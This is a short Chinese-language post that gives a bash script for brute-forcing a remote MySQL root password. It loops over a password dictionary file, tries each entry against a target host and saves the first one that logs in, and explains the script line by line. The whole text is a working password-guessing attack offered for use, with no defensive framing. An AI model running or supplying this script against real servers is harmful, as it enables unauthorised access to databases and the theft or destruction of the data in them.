[cc lang="bash"] #!/bin/bash a=1 for t in `cat pass2` do mysql -u root -h “TARGETIP” -p$t 2>ss2 if [ ! -s ss2 ] then echo $t>password2 break fi echo "$a">ss3 a=$[ $a + 1 ] cat /dev/null >ss2 done [/cc] pass2: 是密码字典文件 mysql -u root -h 168.168.168.168 -p$t 2>ss2 : 错误的提示信息都输出到ss2,并每次都重新创建。
! -s ss2 :bash中-s 检查file是否存在并非空为真,加!为取反,因为程序最后又cat /dev/null >ss2 将ss2置空,如果mysql登陆测试密码不报错的话,将会执行echo $t>password2 并跳出程序。
echo "$a">ss3: 运行程序后 cat ss3将可得知执行了几次程序。